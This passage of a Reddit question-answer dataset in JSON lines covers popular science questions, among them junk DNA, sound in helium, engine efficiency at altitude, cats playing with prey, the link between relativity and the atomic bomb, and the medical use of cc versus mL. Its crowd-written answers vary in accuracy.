brains.\n\nI will leave this here for interested individuals, Sebastian Seung's talk about the connectome: _URL_0_", "If you can read it without stabbing yourself in the face, [this discussion](_URL_0_) might be more satisfying to you.", "Your best option for the moment is human cryopreservation. \n\nThere's _URL_2_ but consider _URL_0_ and _URL_0_\n\nEDIT: Sorry, the second one would be _URL_1_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.ted.com/talks/sebastian_seung.html"], ["http://www.reddit.com/r/scifi/comments/fgob5/this_reminds_me_of_larry_nivens_ringworld_how/"], ["http://www.depressedmetabolism.com/2010/01/28/brain-preservation/", "http://www.depressedmetabolism.com/chemopreservation-the-good-the-bad-and-the-ugly/", "http://brainpreservation.org/"]]}
{"q_id": "8qzadq", "title": "why are images of people on wikipedia so bad?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8qzadq/eli5_why_are_images_of_people_on_wikipedia_so_bad/", "answers": {"a_id": ["e0n8yil", "e0n9hru", "e0na7qt", "e0nhxw3"], "score": [10, 3, 2, 2], "text": ["Professional photos are copyrighted and/or under license. So many of them are user\\-taken, modified, or grabbed from videos. ", "Wikipedia cannot prefer a professionally photographed image over a freely licensed image. It's their policy designed to protect themselves.\n\nIt doesn't matter if a better, copyrighted image exists. It's copyrighted.", "You can't just grab an image from the net and use it for your own project. Copyright laws apply.\n\nWikipedia can only use images that they were explicitly given permission to use by the copyright holder or that are in the public domain or have some sort of open license.\n\nIn most cases this means that either some photographer gave them permission to use a particular image or they picked on from a source that is out of copyright.\n\nThere may be thousands of good photos of a celebrity out there, but unless some contributor took their own image that they give over to Wikipedia or some celebrities PR person decided it would be best to give them the rights to some professional image there isn't much they can do.\n\nOne big source of good public domain images used in Wikipedia is the US government, since by law almost all works of the Us government are in the public domain, which includes a lot of official portraits of public officials but also results in a large selection of very nice images by for example NASA on certain topics.", "The Paterson Joseph one used to be hilariously bad:\n\n_URL_0_\n\nThere's a lot of talk on the discussion page about the reason for keeping it: basically it was freely licenced and better than nothing."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://en.wikipedia.org/w/index.php?title=Paterson_Joseph&amp;oldid=625419872"]]}
{"q_id": "20o6tp", "title": "Is a combustion engine less efficient in higher altitudes due to less Oxygen?", "selftext": "I'm in Colorado for a trip and it seems my car is burning more gas in the mountains. This could be due to the fact it must work harder to go uphill but I was wondering if it might be because there is less Oxygen up here. I'd also like to expand this to airplanes and whether or not there is any difference in efficiency from ground level to cruising altitude.\nI appreciate any answer! ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/20o6tp/is_a_combustion_engine_less_efficient_in_higher/", "answers": {"a_id": ["cg57gy5"], "score": [7], "text": [" >  This could be due to the fact it must work harder to go uphill\n\nThat's probably the biggest factor for your fuel efficiency. Your car has an oxygen sensor that's used to alter the fuel-air ratio to maintain efficient and clean combustion. However, because there's less oxygen at altitude, the effective air compression is worse, and you end up with considerably less power -- less fuel is injected due to less oxygen, and you do lose efficiency. For this reasons forced aspiration devices like turbochargers and superchargers dramatically improve power at high altitude.\n\n > I'd also like to expand this to airplanes and whether or not there is any difference in efficiency from ground level to cruising altitude.\n\nA massive difference for prop-driven piston engine aircraft. Piston engine aircraft often have an effective ceiling of around 15,000 feet because of lack of sufficient oxygen to maintain sufficient power. Turbo-charged and super-charged piston engine aircraft can achieve a ceiling of 30,000ft+. Turbofans/turbojets operate under different principles and don't lose efficiently so dramatically at altitude."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "abko2y", "title": "l: why does sound travel faster through helium if it is a less dense gas than air since sound travels faster through solids and liquids surely the speed of sound should be less in helium?", "selftext": "If you didn't understand how I worded it: Speed of sound through a liquid or solid is significantly greater than that of air, solids and liquids have higher densities than air so why does a less dense air allow sound to travel faster and a more dense air make sound travel slower?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/abko2y/eli5l_why_does_sound_travel_faster_through_helium/", "answers": {"a_id": ["ed0yd0l", "ed0yie6", "ed0yohd", "ed0zq91"], "score": [3, 2, 3, 3], "text": ["Helium is much lighter than the nitrogen and oxygen that makes up the majority of air. So, the sound waves will cause the helium molecules to move faster than they would air molecules.", "My guess is that a lighter material like h2 or He transfers the vibrations (pressure pulsation) with less \"resistance\" than heavier molecules like o2 or n2. More a thing of thermodynamics ", "A greater factor than the density of the substance is the elasticity of the medium. So while we can broadly say sound travels faster in liquids than gasses and faster in solids than liquids, the specifics of the speed between two materials of the same phase vary on more than density alone.", "\nEdit: I misunderstood your question, so here's my answer to something completely different.\n\nFrom what I understand, it's because the helium is so light (less dense) that the vocal cords can vibrate more quickly and faster vibrations make a higher pitch.\n\nIt's like the difference between waving you arm back and forth out of water and then doing it under water. How frequently you can get the hand from all the way to the left over to all the way to the right is much slower. That is a lower frequency. You can do it more frequently in the air and that is a higher frequency."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "2l0o5b", "title": "According to a recent study at Oxford, only 8.2% of DNA is functional. In theory, could we remove all the 'junk' and create a more efficient genome?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2l0o5b/according_to_a_recent_study_at_oxford_only_82_of/", "answers": {"a_id": ["clqju8k", "clqkc61", "clqkwho", "clqujj1", "clr0xvb", "clr85do"], "score": [16, 7, 5, 2, 2, 2], "text": ["Would you mind posting the article?  I'd like to read it.  \n\nIn the meanwhile, look up \"junk\" or \"non-coding\", it's actually believed to be more useful than one might initially think.  And also, just because we don't know the biological function, doesn't mean it doesn't have one. :-)\n\n_URL_0_", "Efficient in terms of cell division, yes probably.  DNA replication goes incredibly fast for how many bases need to be duplocated, but it does still take hours to finish.  Bacteria given lots of extra plasmids to copy divide slower than thise that just have their own chromosomes to copy.\n\nEfficient in terms of other things, probably not.  Genes are activated based on sequences relatively close to the start of the gene, which transcription factors go right to, they don't read through from the beginning.\n\nYou'd also expect if it were going to be much of an advantage and not much of a disadvantage that evolution would have already done it.  Doesn't prove it of course, but the fact that there are a lot of organisms out there with a lot of DNA suggests it's not much of a burden.\n\nGetting back to the cell division thing, cells dividing faster alone would likely mess up development.  For one thing, the embryo would probably run out of nutrients faster, unless placental development were also sped up.", "No, not all.  That seemingly junk DNA is what allows variation and epigenetic regulation.  Worms have ~ 20,000 genes and humans have ~23,000 genes.  Humans and worms have a lot of the same genes.  We also have a lot of repeats of the same genes.  One role the repeats have is to be able to mess up or experiment with new variants of genes without messing the whole organism up.  It's tough to mess with a vastly complex organism without it having a number of fail-safes.\n\nAnother role is in the form of promotor and silencer regions. Basically a Cis protein can bind to a trans-acting element which is a region upstream or downstream from a coding sequence that will help the RNA polymerase complex form faster or block it from forming at all.  In this way, that non-coding junk is actually a big player in affecting how much of each protein is made.  This is a hug deal when you are a complex organism comprised of protein after protein building blocks.\n\nWe could remove a lot of DNA without huge developmental impact, but in doing so we would certainly lose some ability to evolve as a species.\n\nedit: _URL_0_  \nhere is a fuller answer. \"Initially, a large proportion of noncoding DNA had no known biological function and was therefore sometimes referred to as \"junk DNA\", particularly in the lay press. However, it has been known for decades[citation needed] that many noncoding sequences are functional. These include genes for functional RNA molecules (see above) and sequences such as origins of replication, centromeres, and telomeres.\"", "tl;dr: maybe. You could delete small chunks of the \"junk\" and be fine, but if you deleted all of it there would likely be problems because of the huge change in genome size.\n\nHere's the original research article: _URL_0_\n\nNote that in the original article's title, it says 8.2% of the human genome is *constrained.* The lay press changed the word to functional. Functional is a vague term with many definitions. Constrained means that the DNA sequence has remained constant over evolutionary history (~130 million years in this case). The premise is basically that if the DNA sequence is actually important for some region, then it should remain unchanged throughout evolution. Remember that mutations are constantly occurring at random, so if a region is *not* important, then we expect to see a random DNA sequence at that site. The authors used this approach to find that 7.1-9.2% (95% confidence interval) of the human genome has remained unchanged throughout evolution, implying that it's really important for those chunks of DNA to keep the particular sequence that they have.\n\nSo, given our definition of constrained, how do we define functional? To some people, they are the same thing. If a DNA sequence is not constrained, then it implies that you could use any random collection of DNA bases that you want and it makes no difference. The authors of this article have determined that for 91.8% of the human genome we could just change the sequence to any other sequence at random and it would be no big deal.\n\nOn the other hand, if we define functional as \"you could delete this and it wouldn't matter,\" that's slightly different. I speculate that you could pick the majority of the non-conserved regions and delete them and be fine, but if you tried to delete all of it at once I think there would be problems with the abrupt change in genome size. For example, it's known that having more DNA in the nucleus leads to larger cells, so deleting 90% of the genome might cause cells to be a lot smaller which for whatever reason might be a problem. Another theory is that having a larger genome can make the cells more robust to damage from mutations (like UV light or certain chemicals), because any given mutation is less likely to land in an important region.\n\nBut, now we're in the realm of a new question. Even if DNA sequence is not conserved, does the total size of the genome matter? Well, certainly over evolutionary timescales it does not, because there's a huge fluctuation in genome sizes even within vertebrates. But an abrupt deletion of 90% might be an issue. But maybe not. We can't quite do that experiment yet, but synthetic biologists are working on creating minimal genomes for simpler organisms.\n\nEDIT: Just wanted to clarify another common misconception. People are conflating the terms non-coding and non-functional. Non-coding DNA just means all of the DNA that isn't translated into a protein, which is like 98% of the genome. We have known forever that some, but not all, of the non-coding DNA is really important for gene regulation, etc. Of the 8.2% conserved DNA found in this study, probably ~7% is non-coding (but I can't seem to find the exact value in the paper).\n\n\n\n", "The article indicates that about 1% of the genome is coded for proteins, while another 7%ish directly regulates expression of these proteins. Given that we're so very very new at understanding the extent of truth we can extract from a genome, I'd say an absolute NO to your question. Every day, scientists are finding SNPs (single nucleotide polymorphisms - single places where there was a mutation that arose to variance in the gene allele) in the genome that correlate with malfunctioning transporters, receptors, peptide signals, etc... Our bodies are insanely complicated, and noncoding regions have been found to have major influence over genes on the \"complete other side\" of the genome, with no clear reason why it would be so. We are very scientifically immature in our understanding what-does-what in the human genome, although we have compiled a lot of from yeast and mice. Unfortunately (but fortunately) you can't just do gene knockouts in humans like you can in some other organisms to see the outcome, so the only way we are discovering what is \"necessary\" or \"functional\" in the genome is through outcomes of mutations in the limited human genomes that have been made available to study, and comparing them with conserved regions across multiple taxa.", "There are already some great responses here, so I won't kick a dead horse too much.  Just a couple love taps.\n\n* Other research under the ENCODE program argues for a much higher proportion of \"non-junk\" DNA, on the order of 80%.  The reality could very well be much less than that, but also much more than the 8.2% in this Oxford study.\n* [Folks looking at fruit flies](_URL_0_) (a more useful model for humans than one might expect, handy little critters) as well as [others just using published sequence data](_URL_1_) found that brand new genes can and do arise from all that \"junk\" DNA.  So even if we could delete all of it and be more efficient, on an evolutionary scale it might not be a good long-term plan."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.scientificamerican.com/article/hidden-treasures-in-junk-dna/"], [], ["http://en.wikipedia.org/wiki/Noncoding_DNA"], ["http://www.plosgenetics.org/article/info%3Adoi%2F10.1371%2Fjournal.pgen.1004525"], [], ["http://www.ncbi.nlm.nih.gov/pubmed/24146629", "http://www.ncbi.nlm.nih.gov/pubmed/23433480"]]}
{"q_id": "wn32j", "title": "Why do cats play with their food? Is there an evolutionary advantage that I do not see?", "selftext": "One of my cats was playing with a butterfly it caught. It did this for so long I assumed (i.e., guessed) it had to burn far more calories than the moth could have provided. I've also seen one of my cats play with, and lose, a mouse. Given that playing with food that is not yet dead increases the likelihood that it can get away, isn't this to the cat's detriment?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/wn32j/why_do_cats_play_with_their_food_is_there_an/", "answers": {"a_id": ["c5evcrt"], "score": [3], "text": ["I see two aspects to your question. a) is playing an adaptation, b) whether every trait or behavior we see has an evolutionary explanation (maybe you are not asking this, however, I see these type of questions often; so I will just try to answer that questions as well. Pardon me if I sound condescending!)\n\nNot all traits and behaviors are adaptations. When a certain trait confers an evolutionary advantage (eventually in terms of reproductive success) over many generations of mating within a population then that traits *becomes* an adaptation. An advantageous variant as a result of its reproductive success (or a variant that confers an organism relatively higher reproductive success) has an evolutionary advantage over *time* and consequently gets naturally selected within a population in an environment. \n\nAn adaptation therefore is a trait that has been selected naturally in previous generations because it gave its carrier an evolutionary advantage. Talking about evolutionary advantage in the present doesn't  make much sense as adaptations are shaped over time; over many generations within a spatio-temporal context. Natural selection pushes an advantageous trait over time to its optimum. When does a trait become an adaptation? When it statistically and persistently a) provides fitness benefits and/or b) enables an organism to interact with its environment (biotic/abiotic) in such a way that it has higher reproductive success over other variants. \n\nThe reason why I wanted to clear this up is this, we can attribute any behavior an evolutionary aspect. Why do people tend to walk while talking? I could say that in the past communication was critical within hunting groups so as talking while walking as a trait was advantageous the trait got selected and we see its remnant in us (that was a horrible analogy!). Anyway, this line of reasoning is wrong. To test whether a trait is an adaptation you have to generate testable hypotheses about how it confers fitness benefits, what selection pressures shaped it, in which environmental context is it relevant, what is the phylogeny of the trait, etc. I digress!\n\nNatural selection can not push all traits to optimum, as the traits do no come in discrete packages. Fates of traits and organisms are tied to their history. Natural selection has to face many constraints, anatomical, phylogenetic, and developmental to name a few. It is within this constraints that natural selection *acts*. This is a very broad topic, I suggest if you are interested you look up into it. As I will not be doing it justice describing it in a few sentences. \n\nAnswer my question motherfucker. Okay, okay. Is playing evolutionary advantageous or is playing an adaptation? Yes, that is the popular consensus. However, I am not sure if it has been tested empirically. Specifically I am not sure if some has asked the question does playing behavior confer fitness advantages. Playing teaches animals crucial skills, hunting and handling of prey, play behavior as a group facilitates learning, exploitation of novel objects and environments, forming alliances etc. \n\nYou mentioned that you felt as though the cat definitely spent more calories while playing with the butterfly than the amount of calories in the butterfly. A trait will get selected if and only if it provides a net benefit in the long run. The cat's play behavior (assuming that is an adaptation under control of genetics) was passed down by generations of natural selection. It provided its bearers a net benefit that is why it is in your cat today. \n\nEdit For Science!: Please correct me if I have gone wrong anywhere. \n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2d31rr", "title": "how did knowing einstein's theory of relativity lead scientists to make the first atom bomb?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2d31rr/eli5_how_did_knowing_einsteins_theory_of/", "answers": {"a_id": ["cjljxe9", "cjll1ol", "cjllfa7", "cjloljb", "cjlph9h", "cjlq86w", "cjlr0xw", "cjlrt60", "cjls3w5", "cjls5tz", "cjlstuz", "cjlxkx4", "cjly2o1", "cjm3d0x", "cjm40sz", "cjm54wd", "cjm726v", "cjm7cer", "cjm7eep", "cjm7ts3", "cjm985f", "cjma084"], "score": [2, 4, 2557, 168, 355, 41, 10, 3, 27, 5, 6, 2, 7, 2, 4, 2, 2, 2, 2, 3, 8, 2], "text": ["Einstein had a famous formula that you probably know: E=mc2. That formula led to an understanding about how to release an immense amount of energy, like in an atomic bomb. Scientist used it as a building block, essentially. You can [read more about it here](_URL_0_).", "Einstein brought the revelation that energy and mass are related, more importantly that one can be coverted into the other. Another scientist, whose name I can't recall, then figured just how much energy could be relesed by fusing atoms, and together they wrote the president a letter telling him the potential for a new form of explosive.", "The underlying idea is that elements such as uranium were originally formed in supernovas and other energetic stellar events. A lot of energy is required to turn lighter elements into heavier ones by 'fusing' them together, and that energy comes from such events.\n\nThat energy is still present inside the atom. Luckily, some of them are unstable, so that if you tickle them in the right way (for example, with a slow neutron) they will split, into two smaller atoms, plus a few stray neutrons to carry on the good fight.  \n\nIf you added up the masses of the different products of the split, they would weigh less than the original uranium nucleus. The 'missing' mass has actually been converted into energy.  This is part of the theory of relativity - energy and mass can be converted back and forth; they are basically two versions of the same thing.\n\nThe amount of energy that is released is huge, because C is a big number, and C squared is much bigger. \n\nOf course, one atom splitting does not produce much energy. What you need is a chain reaction, and that's where those 'few stray neutrons' from the split come in handy. They cause other atoms to split, and so on, and in a billionth of a second, you have generated explosive energy equivalent to thousands or even millions of tons of TNT.\n\nGood times.\n\nEDIT: Note that H-bombs and A-bombs work in fundamentally different ways. Elements heavier than iron release energy when they are split, and this is how an A-bomb works. The 'active ingredient' is either U-235 or P-239. Elements lighter than iron release energy when they are fused together, and that's how a H-bomb (a fusion bomb) works. The active ingredients are isotopes of Hydrogen - Deuterium and Tritium. Note that it is really hard to make those things fuse together, so they use an A-bomb to get it started. Weird but true.\n\nEDIT: Wow there was no way I expected such a response. Thank you all guys; my most common comment karma scores are probably 2, 1 and zero.  I am clearly not a teacher or nuclear scientist; my explanation was thrown together from stuff I have read over the years, and I know it has weaknesses and inaccuracies. So - thank you again. My first gold!\n\nEDIT: And my second!  It's a wonderful feeling, trust me.\n\n\n", "People working independently from Einstein knew that concentrated fissionable materials created X-ray flashes and blew apart from each other. The secret of the bomb was only to devise a method to keep the materials together and find an appropriate way to slow neutrons down after they left one nucleus towards another. If neutrons are going too fast they don't generate chain reactions.\n\nEinstein's theory explains why this all works at a fundamental basis. It isn't needed to make it work. They knew that there was a source of energy that could be released. TNT was created without a thorough grasp of bond theory. Weapons don't need a thorough physics basis prior to creation. Atomic weapons could easily have been generated without Einstein clearing up the whole concept with his explanation of the equivalence of mass and energy.\n\nEdit: And I've just been banned from this subreddit. thx all-- really can't answer, even pms. ", "I would argue that Rutherford's experiments had more to do with the development of nuclear bombs than Einstein's theory.\n\n > It was quickly noted after the discovery of radioactivity in 1897, that the total energy due to radioactive processes is about one million times greater than that involved in any known molecular change. However, it raised the question where this energy is coming from. After eliminating the idea of absorption and emission of some sort of Lesagian ether particles, the existence of a huge amount of latent energy, stored within matter, was proposed by Ernest Rutherford and Frederick Soddy in 1903. Rutherford also suggested that this internal energy is stored within normal matter as well. He went on to speculate in 1904:[71][72]\n\n > **If it were ever found possible to control at will the rate of disintegration of the radio-elements, an enormous amount of energy could be obtained from a small quantity of matter.**\n\n_URL_0_\n\nThe idea of releasing a lot of energy by the fission of matter was known before Einstein published his theory. E=mc^2 might have explained how much energy, but the idea of a bomb was possible without it.", "You'll have heard the famous formula E=MC^2.\n\nThis means that you can turn Mass (the M, which is measured in grams) into Energy (the E, which is measured in [Joules](_URL_3_)). C is the speed of light, which is 299 792 458 m / s, or about 670 MILLION miles per hour.\n\nThis means that if you have 1g of mass (that's the weight of 1ml of water, barely anything at all) you could convert it directly into energy like this:\n\nSquare the speed of light (multiply it by itself) then multiply that by the 1g of mass you have. This gives 8.98755179 \u00d7 10^16 Joules. Written out in full that is 89875517900000000 Joules. This is a truly *huge* amount of energy, this would be enough energy to heat all the water in Sydney Harbour by about 50^o C\n\nUnfortunately, it is very difficult to turn *all* the mass into energy directly. Hold that thought.\n\nWhen an atom is split in half, the two halves together weigh less than the original atom, this is because just a little bit of the mass is \"lost\" and turned directly into energy in the way we just talked about. So by splitting a lot of atoms at the same time, all of those little bits of \"lost\" mass add up to enough to have a significant effect.\n\nThe scientists involved in the [Manhattan Project](_URL_7_)  realised that if they could rig up a situation where *lots* of atoms were split in half all at the same time, they could release a lot of energy. There are various ways to split an atom, but the easiest is to smash it up by sending a small particle crashing into it at high speed. Think of a cue ball hitting the other balls at the start of a game of pool or snooker.\n\nWhen we call a substance like Uranium *radioactive* it is because it goes through a process called [*radioactive decay*](_URL_2_). I won't go through all the details here, but basically the big unstable Uranium tries to make itself more stable by shooting out some of the particles that make up it's core (the nucleus of the atom). These particles come shooting out at a very high speed, high enough to split other atoms if they hit them *just right*. Unfortunately for the scientists involved, the type of Uranium that does this is very rare and it's mixed up with regular Uranium when it's dug up. \n\nIn fact, there is less than 1% of the special Uranium in it so it must be refined to make [Enriched Uranium](_URL_6_). Now Enriched Uranium emits lots of these very fast atom smashing particles all the time but because the very fast particles have to hit the other atoms of Uranium *just right*, if you only have a small lump of the stuff most of the fast particles just escape as radiation without even hitting another atom, never mind hitting them *just right*.\n\nThe bigger the lump of Enriched Uranium you make, the more likely it is that one of these fast particles will hit another atom of the Uranium *just right* which causes it to smash up and release more fast particles. Now you have even more fast particles whizzing around so it's even more likely that they will hit other atoms in a [chain reaction](_URL_4_).\n\nYou have probably heard the phrase \"critical mass\". In this context, the [critical mass](_URL_5_) is the size of the lump of Enriched Uranium you have to have to *guarantee* the chain reaction happening. \n\nIf the chain reaction does happen, you get a nuclear explosion! \n\nThis is not something you want to just happen in your lab, so the scientists realised that if they had 2 lumps of the Enriched Uranium that weighed *less* than the critical mass and held them apart they would have enough of the Enriched Uranium to make an explosion but the explosion wouldn't happen until they mashed these two lumps together.\n\nThey then needed a way to mash the two lumps together. The simplest way to do this is to fire one lump into the other using a type of cannon! The first atomic bomb dropped on Hiroshima, the [Little boy](_URL_0_) bomb basically had a cannon inside it that fired one lump of Enriched Uranium into another lump of Enriched Uranium so when they combined into one lump, it was heavier than the \"critical mass\" and exploded, the rest is history.\n\nEinstein actually deeply regretted this course of events.\n\n[At first Einstein believed the Germans would produce the bomb, and he signed a letter to President Roosevelt urging him to support the research of American physicists into the chain reaction. Einstein never worked on the development of the bomb himself because the U.S. government would not give him the necessary clearance.\nYears later, Einstein came to deeply regret his letter to Roosevelt. \"Had I known that the Germans would not succeed in producing an atomic bomb,\" he said \"I would have never lifted a finger.\"](_URL_1_)\n\n\n", "A short answer:\nEinstein's theory of relativity was NOT the basis for the atom bomb. his famous equation describing the relationship between matter and energy (**e = mc^2**) was. e=mc^2 means this: \n\nenergy(e) is equal to mass(m) times the speed of light(c) sqared.\n\nso for x amount of mass, that mass can be broken into pure energy, and the energy output will be xc^2.\n\nSo when they made the nuclear bomb, a core of uranium or other unstable element is detonated in such a way that the very atoms blow apart, releasing massive amounts of energy. heavier elements are used because their atoms are more unstable. nuclear fission of these elements breaks the atomic bonds which in turn release energy. Also, the efficiency that we can currently achieve with nuclear weapons and reactors is less than about 20%. so if we achieved 90-100% efficiency then the total energy output would be much greater.\n\n\nTL;DR: Relativity did not lead to the nuke, e=mc^2 did because matter can be converted to energy and vice versa.", "One thing missing from the above comments is that Einstein's theory allows you to calculate the amount of energy produced very accurately and shows it to be a substantial amount. It was through clever statistical analysis that allowed for the creation of the successful bomb and why Germany was only able to produce a high yield fizzle.\n _URL_0_\n\nBasically you need to know how many neutrons will be released during a decay, how far they will go and how dense the material is (how far they need to go). With grade U235 you have less U238 to absorb a neutron, so a slower reaction. If the reaction is not sufficiently fast, fizzle or nothing. This is why ordinary uranium does nothing, also why a hollow or oblong piece of plutonium does not go critical. \n\nIf you have a piece of plutonium releasing n neutrons in all directions, what happens if you surround your plutonium with a mirror for these neutrons? Would it be more efficient, require less plutonium to go critical? What would happen if sufficiently light atoms were present there to fuse? A few steps down this logic train and you have the H-Bomb. ", "The actual, historical answer is that [it didn't have much of an effect on making the first atomic bomb](_URL_0_): \n\n >  The way I like to put it is this: E=mc\u00b2 tells you about as much about an atomic bomb as Newton\u2019s laws do about ballistic missiles. At some very \u201clow level\u201d the physics is crucial to making sense of the technology, but the technology does not just \u201cfall out\u201d of the physics in any straightforward way, and neither of those equations tell you whether the technology is possible. E=mc\u00b2 tells you that on some very deep level, energy and mass are equivalent, and the amount of energy that mass is equivalent is gigantic. But it says nothing about the mechanism of converting mass into energy, either whether one exists in the first place, or whether it can be scaled up to industrial or military scales. It gives no hints as to even where to look for such energy releases. After the fact, once you know about nuclear fission and can measure mass defects and things like that, it helps you explain very concisely where the tremendous amounts of energy come from, but it gives you no starting indications.\n\nThe actual scientific discovery that led people to make the atomic bomb was nuclear fission, and that was not connected directly to Einstein's work, either experimentally or theoretically. You can use Einstein's work to understand where fission gets its energy from, but nobody was looking into fission because of Einstein, and Einstein did not know anything about fission. ", "Fun fact: less than 2% of the Uranium in the first atom bomb was used before it was blown away", "It didn't.  Although in popular culture this is often believed. Einstein had nothing to do with the development of the bomb.  The key person that triggered the development of the bomb was Oliphant because he recorded an excess creation of energy after his fission experiments.   and his research was influenced by Rutherford, curie, etc. ", "Nice try N. Korea.", "It's pretty straightforward, but political, not really scientific.\n\n1. Einstein develops a theory that alters our understanding of the universe. It made him famous, even to non-scientists.\n\n2. Other scientists do experiments that show that an atom bomb might be possible. Einstein becomes even more well known, even to non-scientists.\n\n3. Scientists fear that Nazi Germany might develop an atom bomb. Einstein writes a letter to the President of the United States (Franklin Roosevelt.)\n\n4. Roosevelt listens to Einstein, because he's famous, and funds the development of the atom bomb.", "The pod-radio show \".NET Rocks\" hosts has made a series of very well made special \"geek out\" about this topic, covering it from various angles. All of them are highly recommed!\n\nShow 834 -covers Nuclear Power _URL_0_\n\nShow 960 - covers Nuclear accidents through the time _URL_1_\n\nShow 998 - covers nuclear weapons _URL_2_\n", "It didn't.  Beyond the basic concept of the interconvertibility of matter and energy, Einstein's work in relativity (whether special or general) was not contributory to the development of the atomic bomb, nor was Einstein himself involved in the project.  \n\nPart of the initial misconception that Einstein and his work contributed to the development of the atomic bomb came from a Time Magazine cover in 1946 with Einstein's portrait.  Behind the portrait there is a mushroom cloud with E=MC^2 etched into it:\n\n_URL_0_\n\nIt was most notably the work of Leo Szilard that led to the development of the bomb, particularly his 1933 hypothesis that a nuclear chain reaction was possible, which he realized after the discovery of the neutron by James Chadwick the year before.  Ernest Rutherford had theorized the existence of neutrons some years earlier, around 1920.  Szilard and Enrico Fermi later produced the first sustained nuclear chain reaction in, of all places, an abandoned squash court at the University of Chicago in December of 1942.   ", "Nice try North Korea", "I don't think five year olds should know about atomic bombs, sorry.", "It didnt. Fritz Straussman and Otto Hahn were conducting experiments into creating a heavier element by throwing some neutrons at uranium. When they did this however, they found barium and radium, two lighter elements. They called their friend Lise Meitner, who had ran to Sweden to escape the nazis, and she surmised that the neutron had broken the atom in half and part of it had been converted into energy. Einsteins equation explained this, but he had no effect on its discovery. This led to a series of experiments by Enrico Fermi and Niels Bohr, leading to the first controlled nuclear fission reactor created in the basement of a chicago football stadium. Then some other dudes theorised that you could make a bomb out of it. Then Einstein wrote a letter to the president telling him you could make a bomb out of it, and then the Manhattan Project began.", "Nice try ISIS", "The important part of the theory for the atomic bomb was the equivalence of matter and energy.  Before Einstein, it wasn't known that matter could be converted directly into energy. Afterward, we knew not only that it could be, but also that a small amount of matter contained a crazy large amount of energy.  That provided a big incentive to figure out how to convert the one into the other. \n\nThat crazy large amount of energy comes from the famous equation *E=mc^2*.  The speed of light in a vacuum (*c*) is already a huge number, and the amount of energy you get from converting a given unit of matter is equal to the *square* of that number.  These are mind-boggling numbers - a single kilogram of mass contains about 90 *quadrillion* joules, or 25 billion kilowatt-hours.  That's a heck of an electric bill.\n\nSo Einstein's work didn't tell them *how* to build an atomic bomb; it was more of an existence proof.  It just really motivated the weaponers of the day..", "Nice try North Korea.", "(E=mc2)+math+lots of money+ science = k-boom"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.einstein-online.info/spotlights/atombombe"], [], [], [], ["http://en.wikipedia.org/wiki/Mass%E2%80%93energy_equivalence#Radioactivity_and_nuclear_energy"], ["https://en.wikipedia.org/wiki/Little_Boy", "http://www.theatlantic.com/technology/archive/2011/11/ive-created-a-monster-on-the-regrets-of-inventors/249044/", "https://en.wikipedia.org/wiki/Radioactive_decay", "https://en.wikipedia.org/wiki/Joules", "https://en.wikipedia.org/wiki/Nuclear_chain_reaction", "https://en.wikipedia.org/wiki/Critical_mass", "https://en.wikipedia.org/wiki/Enriched_uranium", "https://en.wikipedia.org/wiki/Manhattan_Project"], [], ["http://en.wikipedia.org/wiki/German_nuclear_weapon_project"], ["http://blog.nuclearsecrecy.com/2014/06/27/bomb-without-einstein/"], [], [], [], [], ["http://m.dotnetrocks.com/show.aspx?showNum=834", "http://m.dotnetrocks.com/show.aspx?showNum=960", "http://m.dotnetrocks.com/show.aspx?showNum=998"], ["http://img.timeinc.net/time/magazine/archive/covers/1946/1101460701_400.jpg"], [], [], [], [], [], [], []]}
{"q_id": "152ck9", "title": "Why do some people, such as medical doctors, use cubic centimeters versus milliliters since they are essentially the same unit?\n ", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/152ck9/why_do_some_people_such_as_medical_doctors_use/", "answers": {"a_id": ["c7inbi3", "c7inii5", "c7ink59", "c7io5pk", "c7iopqh", "c7ipzns", "c7irrz7", "c7iw3lc"], "score": [25, 70, 6, 10, 14, 25, 17, 2], "text": ["MD here. I always use mL.", "Simply:  for historic reasons.  It's just something that's endured, like the odd measurements in blood sugars (milligrams per deciliter), or oddball units like mmHg (when in SI, this ought be in pascals (Pa)).\n", "I had always heard that it is harder to misspeak/misunderstand/misread a dosage when using CCs. ", "Paramedic here, while we tend to use ml more (ex. I need 2 ml of zofran) cc is used more while speaking and ml used more while writing reports. It mostly comes down to preference. ", "I work in a pharmacy, and there is almost nothing consistent in doctors' terminology. Medications are dispensed by mL, and most common medicines are packaged by mL, but that doesn't stop doctors from writing scripts for improper dosages, delivery methods that don't exist, or directions that aren't possible. It probably comes down to habit, and for some being out of touch or not thinking.", "Chemists use cubic centimeters for consitency. When we work out concentrations we use _URL_1_ ^-3 instead of mol.L , and so to keep units consistant we like to use cm ^3 for volumes. I'd imagine its use in a medical setting is a artefact of this.\n\nWhy do we do that? Because litres don't really tell us anything. A [litre](_URL_0_) is nothing but 1 dm ^3 and given the prevelance throughout science of metres as opposed to litres it is just a slight inconvenience to use. If I was trying to figure out the amount of light absorbed by a solution ( A = e.c.l ) I have to multiply concentration (c) by path length (l). If concentration were mol.L, I would have to convert litres to metres. While it doesn't change the numbers, it's just a slight inconvenience when it comes to working out what units *e* has.", "I am a medical transcriptionist, and we are not allowed to use cc. It is on the JCAHO list of dangerous abbreviations because it can be mistaken for U if written sloppily. We always use mL.", "Calls to mind my daily dilemma of atomic concentrations of contaminants.  The mass-spec will measure it in parts per million (or billion) by weight or atomic (weight is by literal mass of atomic species, atomic ratios out the mass of the contaminant with the background material... in my case, usually silicon.)  For some contaminants, like dopants, the normal unit for expressing them is in atoms/cm\u00b3, which is a different animal altogether.  \n\nAt least cc's 